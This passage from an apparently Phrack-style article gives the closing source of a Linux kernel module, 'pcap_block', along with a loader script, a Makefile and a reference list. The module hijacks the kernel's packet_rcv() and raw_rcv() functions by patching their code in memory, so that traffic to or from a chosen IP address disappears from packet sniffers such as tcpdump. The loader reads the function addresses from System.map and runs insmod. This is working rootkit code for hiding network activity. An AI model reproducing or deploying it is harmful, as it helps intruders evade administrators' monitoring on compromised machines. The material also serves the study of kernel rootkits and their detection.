int hacked_pr(struct sk_buff *skb, struct net_device *dev,
                    struct packet_type *pt)
{
        int sl_flags;                       /* Flags for spinlock */
        int retval;

        /* Check if this is an IP packet going to or coming from our
          * hidden IP address. */
        if (skb->protocol == htons(ETH_P_IP))      /* IP packet */
           if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
        return 0;                  /* Ignore this packet */

        /* Call original */
        HIJACK_LOCK;
        memcpy((char *)pr, pr_orig, CODESIZE);
        retval = pr(skb, dev, pt);
        memcpy((char *)pr, pr_code, CODESIZE);
        HIJACK_UNLOCK;

        return retval;
}

/* Replacement for raw_rcv(). This is currently setup to hide
  * all packets with a source or destination IP address that we
  * specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
```

```
{
        int sl_flags;                   /* Flags for spinlock */
        int retval;

        /* Check if this is an IP packet going to or coming from our
          * hidden IP address. */
        if (skb->protocol == htons(ETH_P_IP))      /* IP packet */
           if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
        return 0;                /* Ignore this packet */

        /* Call original */
        HIJACK_LOCK;
        memcpy((char *)rr, rr_orig, CODESIZE);
        retval = rr(sock, skb);
        memcpy((char *)rr, rr_code, CODESIZE);
        HIJACK_UNLOCK;

        return retval;
}

int init_module()
{
        int sl_flags;                   /* Flags for spinlock */

        /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
          * (which we treat as the lower bound of kernel memory), then
          * we will not install the hacks. */
        if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
        printk("Address for packet_rcv() not valid! (%08x)\n",
                        (int)pr);
```

```
        return -1;
        }
        if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
        printk("Address for raw_rcv() not valid! (%08x)\n",
                (int)rr);
        return -1;
        }

        *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
        *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;

        HIJACK_LOCK;
        memcpy(pr_orig, (char *)pr, CODESIZE);
        memcpy((char *)pr, pr_code, CODESIZE);
        memcpy(rr_orig, (char *)rr, CODESIZE);
        memcpy((char *)rr, rr_code, CODESIZE);
        HIJACK_UNLOCK;

        EXPORT_NO_SYMBOLS;

        return 0;
}

void cleanup_module()
{
        int sl_flags;

        lock_kernel();

        HIJACK_LOCK;
```

```
        memcpy((char *)pr, pr_orig, CODESIZE);
        memcpy((char *)rr, rr_orig, CODESIZE);
        HIJACK_UNLOCK;

        unlock_kernel();
}
<-->

<++> pcaphide/loader.sh
#!/bin/sh
#    Written by    grem, 30th June 2003
#    Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
                echo "Use: $0 <System.map>";
                exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
                PR="00000000"
fi
if [ "$RR" = "" ]; then
                RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"
```

```
# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
	$(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
	rm -rf *.o
	rm -rf ./*~
```

[参考文献]:

[1] The tcpdump group
http://www.tcpdump.org

[2] The Packet Factory
http://www.packetfactory.net

[3] My network tools page -
http://uqconnect.net/~zzoklan/software/#net_tools

[4] Silvio Cesare's Kernel Function Hijacking article
http://vx.netlux.org/lib/vsc08.html

[5] Man pages for:
- raw (7)

- packet (7)

- tcpdump (1)

[6] Linux kernel source files. In particular:

- net/packet/af_packet.c (for packet_rcv())

- net/ipv4/raw.c (for raw_rcv())

- net/core/dev.c

- net/ipv4/netfilter/*

[7] Harald Welte's Journey of a packet through the Linux 2.4 network stack

http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html

[8] The Netfilter documentation page

http://www.netfilter.org/documentation

[9] Phrack 55 - File 12 -

http://www.phrack.org/show.php?p=55&a=12

[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.

[B] Inside the Linux Packet Filter. A Linux Journal article

http://www.linuxjournal.com/article.php?sid=4852